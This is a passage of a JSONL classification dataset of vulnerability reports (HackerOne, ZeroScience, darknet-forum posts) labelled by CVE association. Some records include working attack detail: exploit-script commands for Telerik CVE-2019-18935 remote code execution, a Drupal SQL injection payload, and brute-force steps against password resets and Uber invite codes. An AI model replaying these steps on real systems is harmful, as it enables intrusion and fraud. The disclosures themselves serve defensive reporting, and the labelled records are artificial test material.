vulnerable to CVE-2014-0224\r\n \r\n\r\nOpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCipherSpec messages, which allows man-in-the-middle attackers to trigger use of a zero-length master key in certain OpenSSL-to-OpenSSL communications, and consequently hijack sessions or obtain sensitive information, via a crafted TLS handshake, aka the \"CCS Injection\" vulnerability.", "source": "hackerone", "timestamp": "2015-04-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "20a210b3906afc7382f9", "text": "BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2008-08-10", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3e9e9d896950d4274067", "text": "[Unknown] 3,880 Pull Requests Generated to fix JHipster RNG Vulnerability CVE-2019-16303\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2020-12-23", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6cee9ce63f85ba3d7727", "text": "COMMAX Biometric Access Control System 1.0.0 Cookie Reflected XSS\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2021-08-15", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "677306fa306b09fd29ea", "text": "Altova DatabaseSpy 2011 Project File Handling Buffer Overflow Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2010-10-22", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "2a8c49eceebbb3842ee7", "text": "Synaccess netBooter NP-0801DU 7.4 CSRF Add Admin Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2018-11-17", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d82dbbcec674e07dee3b", "text": "[Reddit Darknet Markets] Linux TCP vulnerability (CVE-2016-5696), its effects on Tor and what it means for DNM participants\n\nWoa thanks +1", "source": "gayanku", "timestamp": "2016-08-19", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "dd15b6f70800812c013e", "text": "LogicalDOC Enterprise 7.7.4 Post-Auth Command Execution Via Binary Path Manipulation\n\nSeverity: high", "source": "zeroscience", "timestamp": "2018-02-11", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "1a4b831eb9b54f0f4951", "text": "[Agora] [ADMIN] OpenSSL bug Tor/Agora vulnerability TBD\n\nTo admins: You may already have read this but there's a newly-discovered bug (\"Heartbleed\") in OpenSSL 1.0.1f or below . Two clearnet sites first from the Tor Project itself:https://blog.torproject.org/blog/openssl-bug-cve-2014-0160http://heartbleed.com/I don't know enough about Tor hidden services or OpenSSL but it's serious enough that Tor will be releasing new browser bundles \"shortly\" and the fixed OpenSSL is now version 1.0.1g ... This is specifically for the admins but throwing it out there for general consumption. Please look into this if any vulnerabilities apply here.", "source": "gayanku", "timestamp": "2014-04-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "82a76100031d074703d7", "text": "[Improper Authentication - Generic] No Rate limit on Password Reset Function\n\nHello Infogram Security Team\n***************************\n\n###Description:-\nI have identified that when resetting the password, the request has no rate limit which then can be used to brute force through one request. Which can be annoying to the infogram users.\n\n###Steps to reproduce:-\n* Request for password reset link.\n* Catch the above request in burp suit send it to the repeater\n* Now send continuous request to the server.\n\n**NOTE:** *Every time you will receive the same response which is {\"status\":\"ok\"}*\n\n>HTTP/1.1 200 OK\nDate: Thu, 19 Oct 2017 10:39:31 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 15\nConnection: close\nServer: nginx\nX-DNS-Prefetch-Control: off\nStrict-Transport-Security: max-age=10886400\nX-Download-Options: noopen\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nReferrer-Policy: no-referrer\nX-Frame-Options: SAMEORIGIN\nETag: W/\"f-VaSQ4oDUiZblZNAEkkN+sX+q3Sg\"\nX-Infogram-Server: b302\n\n{\"status\":\"ok\"}\n\n* I tried sending 25 request which was success. (It can be more..) \n{F230753}\n\n###Solution:- \nYou should limit the rate for password reset links to avoid such kind of issues.\n\n*************************\nBest Regards\n*Akaash Sharma :)*", "source": "hackerone", "timestamp": "2017-12-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "a2f4f9283d88a9bbfbe0", "text": "[Double Free] CVE-2019-5481: krb5: double-free in read_data() after realloc() fail\n\n## Summary:\nIn 'lib/security.c', there is a double-free of the reference 'buf->data' on the teardown path if 'Curl_saferealloc()' fails.\n\nAlso, since we read 'len' from the 'fd', the sender might be able to remotely trigger a realloc() failure, and then the double-free, by sending the value 0x7fffffff.\n\nIntroduced by\n0649433da realloc: use Curl_saferealloc to avoid common mistakes\n\n## Steps To Reproduce:\nActual double-free was not reproduced.\nThe realloc failure with particular 'len' value can be reproduced on my 32bits linux machine with following code:\n```C\n#include \n#include \n\nint main(void)\n{\n void *ptr = malloc(10);\n if (!ptr)\n return -1;\n int len = 0x7fffffff;\n void *ptr2 = realloc(ptr, len);\n if (!ptr2) {\n printf(\"Triggered realloc failure\\n\");\n return 0;\n }\n return -1;\n}\n```\n\n## Comment:\nAlso checked other occurences of 'Curl_saferealloc()' calls which all seem fine otherwise.\n\n## Impact\n\nDouble-free after a 'realloc()' failure, which could be triggered remotely, depending on the use context of the 'read_data()' function.", "source": "hackerone", "timestamp": "2020-11-14", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f6bacf445f591eadf26e", "text": "AdaptCMS 3.0.3 Multiple Persistent XSS Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2015-01-05", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b8556b6c31083853a107", "text": "Synaccess netBooter NP-02x/NP-08x 6.8 Authentication Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2018-11-17", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "9711ee543f97cc99575d", "text": "[Deserialization of Untrusted Data] Remote Code Execution via CVE-2019-18935\n\n**Summary:**\nThe website at https://█████████/apps/XTRAHome/Telerik.Web.UI.WebResource.axd?type=rau is vulnerable to CVE-2017-11317 and CVE-2019-18935, allowing an attacker to upload arbitrary files and gain remote code execution on the underlying system.\n\n## Step-by-step Reproduction Instructions\n\n1. Browse to https://█████/apps/XTRAHome/Telerik.Web.UI.WebResource.axd?type=rau. You will see the following message confirming that the file upload handler is registered:\n`{ \"message\" : \"RadAsyncUpload handler is registered succesfully, however, it may not be accessed directly.\" }`\n2. From here on out I used the write-up at https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui for reference.\n3. With a slight modification to the script in the BishopFox write-up, I was able to determine the software version:\n\n```\necho 'test' > testfile.txt\nfor VERSION in $(cat versions.txt); do\n echo -n \"$VERSION: \"\n python3 RAU_crypto.py -P 'C:\\Windows\\Temp' \"$VERSION\" testfile.txt https://█████/apps/XTRAHome/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null | grep fileInfo || echo\n done\n```\nThe `versions.txt` file I used has been attached to this report for ease of replication.\n4. As shown in the results, the version is vulnerable to CVE-2017-11317 and I was able to successfully upload the `testfile.txt`.\n██████████\n5. Next, on a Windows system with Visual Studio installed, compile a dll using `build_dll.bat` as shown in the BishopFox article.\n6. Using `python3 CVE-2019-18935.py -u https://████/apps/XTRAHome/Telerik.Web.UI.WebResource.axd?type=rau -v 2016.2.607 -f 'C:\\Windows\\Temp' -p .dll`, if you compiled using the PoC in the article you should be able to make the server hang for around 10 seconds. \n7. Once the sleep is over, the server should respond with a similar message as follows: `[*] Response time: 12.34 seconds` showing the server is vulnerable to CVE-2019-18935.\n8. At this point you can upload a reverse shell payload, but I feel the sleep PoC is good enough to prove RCE.\n\n## Product, Version, and Configuration (If applicable)\nTelerik UI 2016.2.607\n\n## References\nhttps://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui\nhttps://github.com/bao7uo/RAU_crypto\nhttps://github.com/noperator/CVE-2019-18935\nhttps://hackerone.com/reports/838196\n\n## Suggested Mitigation/Remediation Actions\nFollow recommended fix actions at https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization\n\n## Impact\n\nRemote Code Execution/Total system compromise.", "source": "hackerone", "timestamp": "2020-08-13", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d04b5b0bc38ee41689f4", "text": "[Unknown] use after free in load_newobj_ex\n\nhttps://bugs.python.org/issue24552", "source": "hackerone", "timestamp": "2015-07-02", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b7968f3842691f69169c", "text": "Cypress Solutions CTM-200 2.7.1 Root Remote OS Command Injection\n\nSeverity: high", "source": "zeroscience", "timestamp": "2021-10-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "81d2a1f4f99c485e8ff3", "text": "Art Systems FluidDraw P5/S5 5.3n Binary Planting Arbitrary Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2016-01-17", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "c66e47a476ab79316580", "text": "TomatoCart 1.0.1 (json.php) Remote Cross-Site Scripting Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2010-10-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "be1416faf4f77916679c", "text": "Secure Computing SnapGear Management Console SG560 v3.1.5 CSRF Add Super User\n\nSeverity: high", "source": "zeroscience", "timestamp": "2020-06-04", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "e23d8d9e53f1d2e66aec", "text": "Sipwise C5 NGCP CSC CSRF Click2Dial Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2021-04-23", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d95cc1ac34a6f3257042", "text": "[Command Injection - Generic] Pull Request #12949 - Security Implications without CVE assignment\n\n**Summary:** Pull Request #12949 has security implications but it was not assigned a CVE by the Node team. It is being reported by Qualys as a 6.8 severity issue without a CVE. \n\n**Description:**\nHere is the commit and pull request -\nhttps://github.com/nodejs/node/commit/010f864426\nhttps://github.com/nodejs/node/pull/12949\n\nI'm reporting this as an employee of F5 Networks and don't expect to receive any bounty for this report. We currently make use of NodeJS in our product and request that the Node team assign a CVE to this issue. It is security relevant, being picked up by popular scanners, and does not have a CVE assigned. CVE assignment for the issue seems relevant and will make it easier for our group and others to track this issue.\n\n## Steps To Reproduce: Launch the inspector or debug mode for a vulnerable node instance. It's clear from that. Here is what Qualys scanner will report for *some* versions of BIG-IP that include a vulnerable instance of NodeJS.\n\n-------\nSeverity 4 NodeJS Debugger Command Injection\nQID: 11869 CVSS Base: 6.8 [1]\nCategory: CGI CVSS Temporal: 5\nCVE ID: -\nVendor Reference: NodeJS v8\nBugtraq ID: -\nService Modified: 02/26/2018 CVSS3 Base: -\nUser Modified: - CVSS3 Temporal: -\nScan Results page 3\nEdited: No\nPCI Vuln: Yes\nTHREAT:\nNodeJS includes an out-of-process debugging utility accessible via a V8 Inspector and built-in debugging client.\nThe NodeJS debugger; releases available since April 2014, when enabled or misconfigured is accessible on TCP port 5858 and accepts connection\nfrom any address. This behaviour can be exploited to execute arbitrary code on the targeted system.\nAffected Versions:\nNode JS versions prior to 8.0.0\nQID Detection Logic: This unauthenticated QID uses the \"evaluate\" request type to evaluate arbitrary JS and call out to other system commands.\nIMPACT: Successful exploitation allows remote, unauthenticated attackers to execute arbitrary code on the targeted system.\nSOLUTION: Customers are advised to upgrade to the NodeJS 8.0.0 (https://nodejs.org/en/download/) or latest versions and disable unauthenticated debugger\naccess to remediate this vulnerability.\nPatch:\nFollowing are links for downloading patches to fix the vulnerabilities:\nNodeJS latest (https://nodejs.org/en/download/)\nCOMPLIANCE: Not Applicable\nEXPLOITABILITY: There is no exploitability information for this vulnerability.\nASSOCIATED MALWARE: There is no malware information for this vulnerability.\nRESULTS: Vulnerable version of Node JS detected: v6.9.1\n------\n\n## Impact: Security implications are that an unauthenticated attack can control and/or steal data from a process. \n\n## Supporting Material/References:\nhttps://github.com/nodejs/node/commit/010f864426\nhttps://github.com/nodejs/node/pull/12949\n\n## Impact\n\nUnauthenticated users can control and/or steal data from a process. \n\nI'm asking that the NodeJS team assign a CVE to this issue. Doing so will make it easier for external entities to track this issue. It has security relevance and is clearly a way for attackers to achieve process control and it's unclear as to why a CVE was not assigned in the first place.", "source": "hackerone", "timestamp": "2020-02-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "4357e5c7cf4af08daa1b", "text": "[Violation of Secure Design Principles] Bruteforce INVITE codes easy way\n\nAs soon as i read the vulnerability disclosed on h1 regarding Possibility to brute force invite codes in riders.uber.com \"https://hackerone.com/reports/125505\" .\n\nI have found similar & easy way to bruteforce invite codes but in different manner .\n\nAlso, 1680 public invites are waiting for exploitation .\n\nIt was possible to bruteforce the invite codes for unlimited times during my test , making invite codes vulnerable to rate-limiting vulnerability & an attacker can gain free rides with that code .\n\nTo summarize the issue , I have included a POC .\n\nPOC :- \n\n[1] Go to https://get.uber.com/drive/?invite_code=xez7rgs2u\n[2] You will be redirected to https://partners.uber.com/join/?invite_code=xez7rgs2u\n[3] You will see , ISAAC sent you $100\n\nTo claim your reward, sign up to drive today.\n[4] Now , again go to , https://get.uber.com/drive/?invite_code=rlior&signup_source=facebook_timeline\n[5] You will be redirected to https://partners.uber.com/join/?invite_code=rlior&signup_source=facebook_timeline\n[6] You will see , PHILLIP invited you to make money with your car.\n\nTo claim your reward, sign up to drive today.\n\n[7] I didn't claim above reward but it is of $300 value , which can be known , if you search inurl:https://get.uber.com/drive/?invite_code= in Google.\n[8] Now , again go to https://partners.uber.com/join/?invite_code=jjjjzk\n[9] You will see , Uber needs partners like you.\n[10] Bruteforce is easy ; \n\nA rule for detection of following text based bruteforce in response can added in burp suite Intruder > Options > Grep Match .\n\nValid Codes - [3] Conatains

... sent you $100

\nInvalid Codes - [9] Contains

Uber needs partners like you.

\nValid but not sure of $ value - Contains

.... invited you to make money with your car.

\n\nAnother devastating thing i have found here is 1680 invite codes are already public in Google , which if an attacker uses he can ride with Uber always for free with invites codes / new account .\n\nBlock url invite_code=.... in robots.txt & remove that from Google search results as well .\n\nPOC :- Google site:uber.com inurl:?invite_code=\n\nScreenshots uber1 & uber2 attached .\n\nI didn't used any of the invite codes .", "source": "hackerone", "timestamp": "2016-07-26", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "00f37f21a51796405a7b", "text": "[Memory Corruption - Generic] Adobe Flash Player ShimContentResolver.configure Memory Corruption Vulnerability\n\nI. Summary\nAdobe Flash Player is prone to a vulnerability which leads to memory corruption because of improper validation of ShimContentResolver.configure().\n------------------------------------------------------------------\nII. Description\nAdobe Flash is a multimedia and software platform used for authoring of vector graphics, animation, games and rich Internet applications (RIAs) that can be viewed, played and executed in Adobe Flash Player. \n\nNormally, configure() should validates its parameter and returns error in AS3 level if anything goes wrong.\nIf configure() function is invoked directly with invalid parameter, some inner class instance will be absent, which will cause a memory crash.\n\nIII. Credit\nWen Guanxing from Pangu LAB is credited for this vulnerability.\n\nIt has been assigned by Adobe as CVE-2016-4152.\nhttps://helpx.adobe.com/security/products/flash-player/apsb16-18.html", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "e1dd9d3a12aa1029db6a", "text": "[Cryptographic Issues - Generic] BN_mod_exp may produce incorrect results on x86_64 (CVE-2015-3193)\n\nFor certain inputs OpenSSL's BN_mod_exp function (which is used for RSA and Diffie Hellman) can produce wrong results.\nThe issue has been fixed by OpenSSL and rated moderate severity:\nhttps://openssl.org/news/secadv/20151203.txt\n\nA code example is here:\nhttps://github.com/hannob/bignum-fuzz/blob/master/CVE-2015-3193-openssl-vs-gcrypt-modexp.c\n\nSome more info:\nhttps://blog.fuzzing-project.org/31-Fuzzing-Math-miscalculations-in-OpenSSLs-BN_mod_exp-CVE-2015-3193.html", "source": "hackerone", "timestamp": "2016-04-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "4dd0cb0061c003eba18d", "text": "[SQL Injection] Drupal 7 pre auth sql injection and remote code execution\n\n# Motivation\r\nI found a SQL Injection bug in Drupal < 7.32. Which can lead to a code execution. \r\n\r\nYou need not have any user or knowledge of the targeted site.\r\n\r\nSince Drupal is used as they state by \"millions of websites and applications\" I thought about applying for this bug bounty.\r\n\r\n# The Bug\r\nDrupal uses Prepared Statements to secure the SQL Querys from Injections. To handle IN statements they created a expandArguments function, which uses the Array keys to create names for the placeholders. \r\n\r\n foreach ($data as $i => $value) {\r\n [...]\r\n $new_keys[$key . '_' . $i] = $value;\r\n }\r\n\r\nThe function assumes that it is called with an array which has no keys. Example:\r\n\r\n db_query(\"SELECT * FROM {users} where name IN (:name)\", array(':name'=>array('user1','user2')));\r\n\r\nWhich results in this SQL Statement\r\n\r\n SELECT * from users where name IN (:name_0, :name_1)\r\n\r\nwith the parameters name_0 = user1 and name_1 = user2.\r\n\r\nThe Problem occurs, if the array has keys, which are no integers. Example:\r\n\r\n db_query(\"SELECT * FROM {users} where name IN (:name)\", array(':name'=>array('test) -- ' => 'user1','test' => 'user2')));\r\n\r\nthis results in an exploitable SQL query:\r\n\r\n SELECT * FROM users WHERE name IN (:name_test) -- , :name_test )\r\n\r\nwith parameters :name_test = user2.\r\n\r\nSince Drupal uses PDO, multi-queries are allowed. So this SQL Injection can be used to insert arbitrary data in the database, dump or modify existing data or drop the whole database.\r\n\r\nWith the possibility to INSERT arbitrary data into the database an attacker can execute any PHP code through a manipulated Session and Drupal features with callbacks.\r\n\r\n# Advisory\r\nhttps://www.sektioneins.de/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html\r\n\r\n# CVE Information\r\nThe Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2014-3704 to this vulnerability.\r\n\r\n# Poc\r\nI included two PoCs. The first creates one request to create a session which has Admin privileges (UserID 1). The second executes code with only one request and destroys the session afterwards to not create a new Database entry. Some parts of the Second PoC were discovered with help of my coworker Stefan Esser.", "source": "hackerone", "timestamp": "2015-04-06", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "0c468efbbf77ea100e79", "text": "[Unknown] No alert in verify email address with wrong input\n\nHello team @legalrobot,\n\nIn your verify email address sector, I got something different. in that sector if I click on \"Resend verification email\" option and see the request. There is a parameter named email. So when I input something in that parameter it's show me done on output. I have show all in my PoC video.\n\nThank you\nregards\n@elliots\n\n{F218035}", "source": "hackerone", "timestamp": "2017-09-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e362e08b22fa81b8029d", "text": "[Information Disclosure] openssh-server Forced Command Handling Information Disclosure Vulnerability on blog.greenhouse.io\n\nSummary of the issue:\r\n\r\n\r\nThe auth_parse_options function in auth-options.c in sshd in OpenSSH before 5.7 provides debug messages containing\r\n\r\nauthorized_keys command options, which allows remote authenticated users to obtain potentially sensitive information\r\n\r\nby reading these messages, as demonstrated by the shared user account required by Gitolite. NOTE: this can cross\r\n\r\nprivilege boundaries because a user account may intentionally have no shell or filesystem access, and therefore may\r\n\r\nhave no supported way to read an authorized_keys file in its own home directory.\r\n\r\nOpenSSH before 5.7 is affected.\r\n\r\nAttack details..:\r\n\r\nAccording to its banner, the version of OpenSSH installed on the remote\r\n\r\nhost is older than 5.7:\r\n\r\nssh-2.0-openssh_5.5p1 debian-6+squeeze5\r\n\r\nSummary:\r\n\r\nThe auth_parse_options function in auth-options.c in sshd in OpenSSH before 5.7\r\n\r\nprovides debug messages containing authorized_keys command options, which allows\r\n\r\nremote authenticated users to obtain potentially sensitive information by\r\n\r\nreading these messages, as demonstrated by the shared user account required by\r\n\r\nGitolite. NOTE: this can cross privilege boundaries because a user account may\r\n\r\nintentionally have no shell or filesystem access, and therefore may have no\r\n\r\nsupported way to read an authorized_keys file in its own home directory.\r\n\r\nOpenSSH before 5.7 is affected;\r\n\r\nSolution/Fix: Updates are available.\r\n\r\nReferences: CVE: CVE-2012-0814 (http://www.securityfocus.com/bid/51702, etc..)\r\n\r\nBr,\r\n\r\nSimone", "source": "hackerone", "timestamp": "2014-10-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "e308fab8f539f0becfc0", "text": "[Cryptographic Issues - Generic] Vulnerability Report - sweet32 UPchieve\n\nHello Team.\n\nI run the nmap with ssl-enum script to look for new Vulnerability that is known as \"SWEET32\"\n\nDetail about sweet32 vuln:~\n\nCryptographic protocols like TLS, SSH, IPsec, and OpenVPN commonly use block cipher algorithms, such as AES, Triple-DES, and Blowfish, to encrypt data between clients and servers. To use such algorithms, the data is broken into fixed-length chunks, called blocks, and each block is encrypted separately according to a mode of operation. Older block ciphers, such as Triple-DES and Blowfish use a block size of 64 bits, whereas AES uses a block size of 128 bits.\n\nnote: this vulnerability and exploitation has been demo'ed at defcon\n\nref site: https://sweet32.info/\n\nHere is another article on sweet32 https://bobcares.com/blog/how-to-fix-sweet32-birthday-attacks-vulnerability-cve-2016-2183/\n\nSteps:\n\nrun nmap 2. type nmap --script ssl-enum-ciphers hackers.upchieve.org 3. now hit enter and let it do its work and after it done you will find that https:443 is vulnerable to sweet32. TLSv1.0 is vulnerable. Thanks.\n\nPOC :\n\nStarting Nmap 7.80 ( https://nmap.org ) at 2021-07-21 12:05 India Standard Time\n\nWARNING: Could not import all necessary Npcap functions. You may need to upgrade to the latest version from https://npcap.org. Resorting to connect() mode -- Nmap may not function completely\n\nNmap scan report for hackers.upchieve.org (172.67.75.86)\n\nHost is up (0.065s latency).\n\nOther addresses for hackers.upchieve.org (not scanned): 2606:4700:90cb:26f6:464:60:b6d4:be5d 104.26.14.142 104.26.15.142\n\nNot shown: 995 filtered ports\n\nPORT STATE SERVICE\n\n21/tcp open ftp\n\n80/tcp open http\n\n443/tcp open https\n\n| ssl-enum-ciphers: \n\n| TLSv1.0: \n\n| ciphers: \n\n| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (ecdh_x25519) - A\n\n| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A\n\n| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (ecdh_x25519) - A\n\n| TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A\n\n| TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C\n\n| compressors: \n\n| NULL\n\n| cipher preference: server\n\n| warnings: \n\n| 64-bit block cipher 3DES vulnerable to SWEET32 attack\n\n| TLSv1.1: \n\n| ciphers: \n\n| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (ecdh_x25519) - A\n\n| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A\n\n| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (ecdh_x25519) - A\n\n| TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A\n\n| compressors: \n\n| NULL\n\n| cipher preference: server\n\n| TLSv1.2: \n\n| ciphers: \n\n| TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (ecdh_x25519) - A\n\n| TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 (ecdh_x25519) - A\n\n| TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (ecdh_x25519) - A\n\n| TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (ecdh_x25519) - A\n\n| TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 (ecdh_x25519) - A\n\n| TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (ecdh_x25519) - A\n\n| TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (ecdh_x25519) - A\n\n| TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256-draft (ecdh_x25519) - A\n\n| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (ecdh_x25519) - A\n\n| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (ecdh_x25519) - A\n\n| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (ecdh_x25519) - A\n\n| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (ecdh_x25519) - A\n\n| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (ecdh_x25519) - A\n\n| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (ecdh_x25519) - A\n\n| TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (ecdh_x25519) - A\n\n| TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256-draft (ecdh_x25519) - A\n\n| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A\n\n| TLS_RSA_WITH_AES_128_CBC_SHA256 (rsa 2048) - A\n\n| TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A\n\n| TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A\n\n| TLS_RSA_WITH_AES_256_CBC_SHA256 (rsa 2048) - A\n\n| TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A\n\n| compressors: \n\n| NULL\n\n| cipher preference: client\n\n|_ least strength: C\n\n8080/tcp open", "source": "hackerone", "timestamp": "2021-07-28", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "a7169eb8688174815365", "text": "Infoproject Biznis Heroj (XSS/SQLi) Multiple Remote Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-12-21", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "caeea97f10ac4abb8fa0", "text": "[Improper Access Control - Generic] Container scanning and Dependency scanning report leaked to unauthorized users\n\nHi GitLab Security team\n\n### Summary\n\nGitLab makes the container scanning and dependency scanning information available as part of a JSON endpoint for merge requests. These reports are output of the CI job and should only be displayed if the visiting user has access to CI. However, right now GitLab displays the the container scanning and dependency scanning reports regardless of this permission, making it available to whoever has access to the merge request.\n\nFor public projects, GitLab allows to restrict CI pipelines to project members only (public pipelines disabled). However, in this case, the merge request widget still renders the scanning reports result, which is the outcome of a CI pipeline.\n\n### Steps to reproduce\n\nThis is reproducible on gitlab.com. It requires at least a gold plan to have the container scanning and dependency scanning feature available.\n\n1. Create a public project, restrict CI pipeline access to project members, and disable public pipelines\n2. Push a new branch and add .gitlab-ci.yml file with the following content:\n\n```yml\ntest:\n script: |\n echo '{\"image\": \"registry.gitlab.com/groulot/container-scanning-test/master:5f21de6956aee99ddb68ae49498662d9872f50ff\",\"unapproved\": [\"CVE-2017-18269\",\"CVE-2017-16997\",\"CVE-2018-1000001\",\"CVE-2016-10228\",\"CVE-2018-18520\",\"CVE-2010-4052\",\"CVE-2018-16869\",\"CVE-2018-18311\"],\"vulnerabilities\": [{ \"featurename\": \"glibc\", \"featureversion\": \"2.24-11+deb9u3\", \"vulnerability\": \"CVE-2017-18269\", \"namespace\": \"debian:9\", \"description\": \"SSE2-optimized memmove implementation problem.\", \"link\": \"https://security-tracker.debian.org/tracker/CVE-2017-18269\", \"severity\": \"Defcon1\", \"fixedby\": \"2.24-11+deb9u4\"},{ \"featurename\": \"glibc\", \"featureversion\": \"2.24-11+deb9u3\", \"vulnerability\": \"CVE-2017-16997\", \"namespace\": \"debian:9\", \"description\": \"elf/dl-load.c in the GNU C Library (aka glibc or libc6) 2.19 through 2.26 mishandles RPATH and RUNPATH containing $ORIGIN for a privileged (setuid or AT_SECURE) program, which allows local users to gain privileges via a Trojan horse library in the current working directory, related to the fillin_rpath and decompose_rpath functions. This is associated with misinterpretion of an empty RPATH/RUNPATH token as the \\\"./\\\" directory. NOTE: this configuration of RPATH/RUNPATH for a privileged program is apparently very uncommon; most likely, no such program is shipped with any common Linux distribution.\", \"link\": \"https://security-tracker.debian.org/tracker/CVE-2017-16997\", \"severity\": \"Critical\", \"fixedby\": \"\"},{ \"featurename\": \"glibc\", \"featureversion\": \"2.24-11+deb9u3\", \"vulnerability\": \"CVE-2018-1000001\", \"namespace\": \"debian:9\", \"description\": \"In glibc 2.26 and earlier there is confusion in the usage of getcwd() by realpath() which can be used to write before the destination buffer leading to a buffer underflow and potential code execution.\", \"link\": \"https://security-tracker.debian.org/tracker/CVE-2018-1000001\", \"severity\": \"High\", \"fixedby\": \"\"},{ \"featurename\": \"glibc\", \"featureversion\": \"2.24-11+deb9u3\", \"vulnerability\": \"CVE-2016-10228\", \"namespace\": \"debian:9\", \"description\": \"The iconv program in the GNU C Library (aka glibc or libc6) 2.25 and earlier, when invoked with the -c option, enters an infinite loop when processing invalid multi-byte input sequences, leading to a denial of service.\", \"link\": \"https://security-tracker.debian.org/tracker/CVE-2016-10228\", \"severity\": \"Medium\", \"fixedby\": \"\"},{ \"featurename\": \"elfutils\", \"featureversion\": \"0.168-1\", \"vulnerability\": \"CVE-2018-18520\", \"namespace\": \"debian:9\", \"description\": \"An Invalid Memory Address Dereference exists in the function elf_end in libelf in elfutils through v0.174. Although eu-size is intended to support ar files inside ar files, handle_ar in size.c closes the outer ar file before handling all inner entries. The vulnerability allows attackers to cause a denial of service (application crash) with a crafted ELF file.\", \"link\": \"https://security", "source": "hackerone", "timestamp": "2019-12-13", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "81c25e6452dd2beac90a", "text": "[Unknown] X509_to_X509_REQ NULL pointer deref\n\nX509_to_X509_REQ NULL pointer deref (CVE-2015-0288)\n===================================================\n\nSeverity: Low\n\nThe function X509_to_X509_REQ will crash with a NULL pointer dereference if the certificate key is invalid. This function is rarely used in practice.\n\nThis issue affects all current OpenSSL versions: 1.0.2, 1.0.1, 1.0.0 and 0.9.8.\n\nOpenSSL 1.0.2 users should upgrade to 1.0.2a\nOpenSSL 1.0.1 users should upgrade to 1.0.1m.\nOpenSSL 